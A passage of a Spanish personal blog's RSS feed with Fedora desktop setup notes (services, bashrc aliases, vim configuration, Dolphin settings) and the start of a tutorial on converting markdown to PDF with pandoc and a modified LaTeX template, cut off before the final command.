&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">127.0.0.1 localhost 4770K localhost4
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">::1 localhost 4770K localhost6
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">192.168.1.1 router
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">192.168.1.59 4770K
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">192.168.1.55 xiaomi
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">192.168.1.71 pi
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="configuración-de-aplicaciones-con-autoarranque">Configuración de aplicaciones con autoarranque&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">systemctl &lt;span class="nb">enable&lt;/span> sshd
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">systemctl &lt;span class="nb">enable&lt;/span> smb
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">systemctl &lt;span class="nb">enable&lt;/span> nmb
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">systemctl disable firewalld.service &lt;span class="c1"># solo en el pc de casa&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="fichero-bashrc">Fichero bashrc&lt;/h2>
&lt;p>Poner para los usuarios: procamora, root&lt;/p>
&lt;p>&lt;code>vim .bashrc&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="s1">&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"># User specific aliases and functions
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1">alias ls=&amp;#34;ls -lhGQ --color=auto&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1">alias rm=&amp;#34;echo Use trash, or the full path i.e. /bin/rm&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1">alias which=&amp;#34;alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1">export VISUAL=/usr/bin/vim
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1">export EDITOR=&amp;#34;$VISUAL&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1">&amp;#39;&lt;/span> &amp;gt;&amp;gt; ~/.bashrc
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="configuración-de-vim">Configuración de vim&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">USERS&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;root procamora&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Clonamos repositorio&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">su -c &lt;span class="s2">&amp;#34;git clone --depth=1 https://github.com/amix/vimrc.git /opt/vim_runtime&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Instalamos para los usuarios seleccionados&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">su -c &lt;span class="s2">&amp;#34;sh /opt/vim_runtime/install_awesome_parameterized.sh /opt/vim_runtime &lt;/span>&lt;span class="nv">$USERS&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Dar permiso a los ficheros para los usuarios no root&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">su -c &lt;span class="s2">&amp;#34;chmod 755 /opt/vim_runtime/ -R&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">su -c &lt;span class="s2">&amp;#34;chown procamora:procamora /home/procamora/.vimrc -R&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># to install for all users with home directories&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#sh /opt/vim_runtime/install_awesome_parameterized.sh /opt/vim_runtime --all&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="header1">Configuración del entorno gráfico&lt;/h1>
&lt;h2 id="configuración-dolphin">Configuración dolphin&lt;/h2>
&lt;h3 id="configuración-de-vistas">Configuración de vistas&lt;/h3>
&lt;ol>
&lt;li>
&lt;p>Vamos a &lt;code>Control/Configurar las barras de herramientas&lt;/code>&lt;/p>
&lt;ul>
&lt;li>Abrir tereminal&lt;/li>
&lt;li>Archivos ocultos&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Vamos a &lt;code>Control/Ajustar las propiedades de vista&lt;/code>&lt;/p>
&lt;ul>
&lt;li>Ordenar por fecha Descendente&lt;/li>
&lt;li>Mostar archivos ocultos&lt;/li>
&lt;li>Aplicar a todas las carpetas&lt;/li>
&lt;li>Usar estas propiedades de vista como predeterminadas&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ol>
&lt;h3 id="configuración-de-accesos-directos">Configuración de accesos directos&lt;/h3>
&lt;p>&lt;img src="https://www.procamora.com/images/2017/2017-03-31-acceos_directos_dolphin.png"
loading="lazy"
alt="Accesos directos dolphin"
>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">dir&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;/home/procamora/&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ln -s /mnt/WD_BLACK/pablojoserocamora@gmail.com &lt;span class="nv">$dir&lt;/span> &lt;span class="c1"># directorio google drive&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ln -s /home/procamora/pablojoserocamora@gmail.com/scripts/ &lt;span class="nv">$dir&lt;/span> &lt;span class="c1"># directorio de scripts&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ln -s /home/procamora/pablojoserocamora@gmail.com/Musica/* /home/procamora/Música/ &lt;span class="c1"># Enlazo todos los discos&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="configuración-energía">Configuración energía&lt;/h2>
&lt;p>&lt;img src="https://www.procamora.com/images/2017/2017-03-31-gestion_energia.png"
loading="lazy"
alt="configuración de la energía"
>&lt;/p>
&lt;h2 id="configuración-de-aplicaciones-con-autoarranque-1">Configuración de aplicaciones con autoarranque&lt;/h2>
&lt;p>Vamos a &lt;code>Preferencias del sistema/Arranque y apagado/Autoarranque&lt;/code>&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2017/2017-03-31-autoarranque.png"
loading="lazy"
alt="configuración de la energía"
>&lt;/p></description></item><item><title>markdown to pdf</title><link>https://www.procamora.com/p/markdown-to-pdf/</link><pubDate>Fri, 27 Jan 2017 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/markdown-to-pdf/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post markdown to pdf" />&lt;h1 id="introducción">Introducción:&lt;/h1>
&lt;p>A la hora de crear un fichero pdf a través de un fichero markdown tenemos múltiples opciones, las mas personalizada es &lt;em>pandoc&lt;/em> aunque otros conversores también son muy personalizables.&lt;/p>
&lt;p>Tenemos distintos tipos de conversores de markdown a pdf:&lt;/p>
&lt;ul>
&lt;li>&lt;a class="link" href="#header1" >Conversores por linea de comandos&lt;/a>:
&lt;ul>
&lt;li>&lt;a class="link" href="#mark0" >pandoc&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark1" >gimli&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a class="link" href="#header2" >Conversores con entorno gráfico&lt;/a>:
&lt;ul>
&lt;li>&lt;a class="link" href="#mark2" >Atom&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark3" >Markdown Pad&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a class="link" href="#header3" >Conversores Online&lt;/a>:
&lt;ul>
&lt;li>&lt;a class="link" href="#mark5" >Cloudconvert&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark6" >Markdowntopdf&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a class="link" href="#header4" >Resumen general&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#header5" >Conclusion final&lt;/a>&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>Puede asegurarse de que ciertas cosas, como las comillas y los guiones en em, se leen y formateen correctamente especificando el conmutador &amp;ldquo;Smart&amp;rdquo; (un mayúscula -S o -smart):&lt;/p>
&lt;/blockquote>
&lt;h1 id="header1">Conversores por linea de comandos&lt;/h1>
&lt;ul>
&lt;li>&lt;a class="link" href="#mark0" >pandoc&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark1" >gimli&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="mark0">Pandoc&lt;/h2>
&lt;p>&lt;a class="link" href="http://pandoc.org/MANUAL.html" target="_blank" rel="noopener"
>Pandoc&lt;/a> es una herramienta que te permite a través de un fichero markdown generar otro con múltiples formatos, como por ejemplo PDF, HTML o DOCX. Los pasos a realizar son los siguientes:&lt;/p>
&lt;blockquote>
&lt;p>Mejora a conseguir: que cada inicio de apartado empiece en una nueva pagina&lt;/p>
&lt;/blockquote>
&lt;h3 id="paso-1-instalación">Paso 1: Instalación.&lt;/h3>
&lt;p>La instalación en Fedora es muy simple:&lt;/p>
&lt;p>&lt;code>dnf install pandoc pandoc-citeproc texlive texlive-collection-langspanish.noarch&lt;/code>&lt;/p>
&lt;h3 id="paso-2-añadir-cabecera-yaml-al-fichero-markdown">Paso 2: Añadir cabecera yaml al fichero markdown.&lt;/h3>
&lt;p>Una vez instalado pandoc mas todas las librerías necesarias de texlive con latex tendremos que añadir una cabecera yaml para indicarle a pandoc una serie de directrices a la hora de generar el pdf.&lt;/p>
&lt;p>Los parámetros a tener en cuenta son:&lt;/p>
&lt;ul>
&lt;li>geometry: modificamos la alineación aumentándola&lt;/li>
&lt;li>toc: Indicamos con true que queremos una tabla de contenidos&lt;/li>
&lt;li>documentclass: pone en negrita el texto del los metadatos, visualmente queda mejor&lt;/li>
&lt;/ul>
&lt;h3 id="modificar">MODIFICAR&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-yaml" data-lang="yaml">&lt;span class="line">&lt;span class="cl">&lt;span class="nn">---&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">title&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">Nombre de la practica&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">subtitle&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">Asignatura&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">author&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>- &lt;span class="l">nombre 1&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>- &lt;span class="l">nombre 2&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">date&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">September 6, 2016&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">header&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">dsad&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">footer&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">So is this&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">geometry&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">margin=1in&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">toc&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kc">true&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">documentclass&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>- &lt;span class="l">scrartcl&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nn">---&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="paso-3-creación-del-fichero-plantilla-de-latex-para-poner-un-pagina-en-blanco-antes-de-la-tabla-de-contenidos-y-después">Paso 3: Creación del fichero plantilla de latex para poner un pagina en blanco antes de la tabla de contenidos y después.&lt;/h3>
&lt;ol>
&lt;li>
&lt;p>Generar la plantilla por defecto de latex, es recomendable generarla para que tenga la versión mas reciente usada por pandoc, la que yo uso es &lt;a class="link" href="https://www.procamora.com/code/plantilla.tex" >esta&lt;/a>.&lt;/p>
&lt;p>&lt;code>pandoc -D latex &amp;gt; plantilla.tex&lt;/code>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;ol start="2">
&lt;li>
&lt;p>Modificar la plantilla, buscando donde se crea la tabla de contenido para añadir las paginas en blanco. &lt;a class="link" href="https://github.com/jgm/pandoc-templates/issues/221" target="_blank" rel="noopener"
>Fuente&lt;/a>.&lt;/p>
&lt;p>Buscar este texto&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-latex" data-lang="latex">&lt;span class="line">&lt;span class="cl">&lt;span class="s">$&lt;/span>&lt;span class="nb">if&lt;/span>&lt;span class="o">(&lt;/span>&lt;span class="nb">toc&lt;/span>&lt;span class="o">)&lt;/span>&lt;span class="s">$&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">$&lt;/span>&lt;span class="nb">if&lt;/span>&lt;span class="o">(&lt;/span>&lt;span class="nb">colorlinks&lt;/span>&lt;span class="o">)&lt;/span>&lt;span class="s">$&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">\hypersetup&lt;/span>&lt;span class="nb">{&lt;/span>linkcolor=&lt;span class="s">$&lt;/span>&lt;span class="nb">if&lt;/span>&lt;span class="o">(&lt;/span>&lt;span class="nb">toccolor&lt;/span>&lt;span class="o">)&lt;/span>&lt;span class="s">$$&lt;/span>&lt;span class="nb">toccolor&lt;/span>&lt;span class="s">$$&lt;/span>&lt;span class="nb">else&lt;/span>&lt;span class="s">$&lt;/span>black&lt;span class="s">$&lt;/span>&lt;span class="nb">endif&lt;/span>&lt;span class="s">$&lt;/span>&lt;span class="nb">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">$&lt;/span>&lt;span class="nb">endif&lt;/span>&lt;span class="s">$&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">\setcounter&lt;/span>&lt;span class="nb">{&lt;/span>tocdepth&lt;span class="nb">}{&lt;/span>&lt;span class="s">$&lt;/span>&lt;span class="nb">toc&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="nb">depth&lt;/span>&lt;span class="s">$&lt;/span>&lt;span class="nb">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">\tableofcontents&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Y le añadimos los dos &lt;strong>\newpage&lt;/strong> para dejar la tabla de paginas en una pagina sola.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-latex" data-lang="latex">&lt;span class="line">&lt;span class="cl">&lt;span class="s">$&lt;/span>&lt;span class="nb">if&lt;/span>&lt;span class="o">(&lt;/span>&lt;span class="nb">toc&lt;/span>&lt;span class="o">)&lt;/span>&lt;span class="s">$&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">\newpage&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">$&lt;/span>&lt;span class="nb">if&lt;/span>&lt;span class="o">(&lt;/span>&lt;span class="nb">colorlinks&lt;/span>&lt;span class="o">)&lt;/span>&lt;span class="s">$&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">\hypersetup&lt;/span>&lt;span class="nb">{&lt;/span>linkcolor=&lt;span class="s">$&lt;/span>&lt;span class="nb">if&lt;/span>&lt;span class="o">(&lt;/span>&lt;span class="nb">toccolor&lt;/span>&lt;span class="o">)&lt;/span>&lt;span class="s">$$&lt;/span>&lt;span class="nb">toccolor&lt;/span>&lt;span class="s">$$&lt;/span>&lt;span class="nb">else&lt;/span>&lt;span class="s">$&lt;/span>black&lt;span class="s">$&lt;/span>&lt;span class="nb">endif&lt;/span>&lt;span class="s">$&lt;/span>&lt;span class="nb">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">$&lt;/span>&lt;span class="nb">endif&lt;/span>&lt;span class="s">$&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">\setcounter&lt;/span>&lt;span class="nb">{&lt;/span>tocdepth&lt;span class="nb">}{&lt;/span>&lt;span class="s">$&lt;/span>&lt;span class="nb">toc&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="nb">depth&lt;/span>&lt;span class="s">$&lt;/span>&lt;span class="nb">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">\tableofcontents&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">\newpage&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;li>
&lt;p>Latex dispone de 2 tags interesantes &lt;code>\newpage&lt;/code> y &lt;code>\pagebreak&lt;/code> que nos servirán para terminar de maquetar los texto como nosotros queramos, poniendo cualquiera de los 2 tags en el fichero markdown podremos introducir un final de pagina, por lo que si los ponemos antes de cada nuevo apartado, tendremos cada apartado en una pagina diferente. &lt;a class="link" href="http://stackoverflow.com/questions/16965490/pandoc-markdown-page-break" target="_blank" rel="noopener"
>Fuente&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;ol start="4">
&lt;li>Añadir bibliografia: hay que crear la biblioagria que tendra este formato:&lt;/li>
&lt;/ol>
&lt;p>Fichero bibliografia.bib:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">@article{fenner2012a,
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> title = {One-click science marketing},
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> volume = {11},
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> url = {http://dx.doi.org/10.1038/nmat3283},
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> doi = {10.1038/nmat3283},
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> number = {4},
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> journal = {Nature Materials},
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> publisher = {Nature Publishing Group},
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> author = {Fenner, Martin},
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> year = {2012},
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> month = {mar},
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> pages = {261-263}
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Codigo del .md&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">This is a test2 [@fenner2012a].
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Despues se compilara con: &lt;code>pandoc --bibliography=bibliografia.bib ....&lt;/code>&lt;/p>
&lt;h3 id="paso-4-generación-del-pdf">Paso 4: Generación del pdf.&lt;/h3>
&lt;p>Teniendo esa cabecera yaml en el fichero y generada la plantilla modificada para general el pdf con nuestro formato ya solo falta llamar al comando pandoc.&lt;/p>
&lt;p>Los parámetros a tener en cuenta son:&lt;/p>
&lt;ul>
&lt;li>&amp;ndash;template:&lt;/li>
&lt;/ul>
&lt;p>Otros parámetros interesantes:&lt;/p>
&lt;ul>
&lt;li>&amp;ndash;number-sections:&lt;/li>
&lt;/ul>
&lt;p>El comando final resultante seria:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
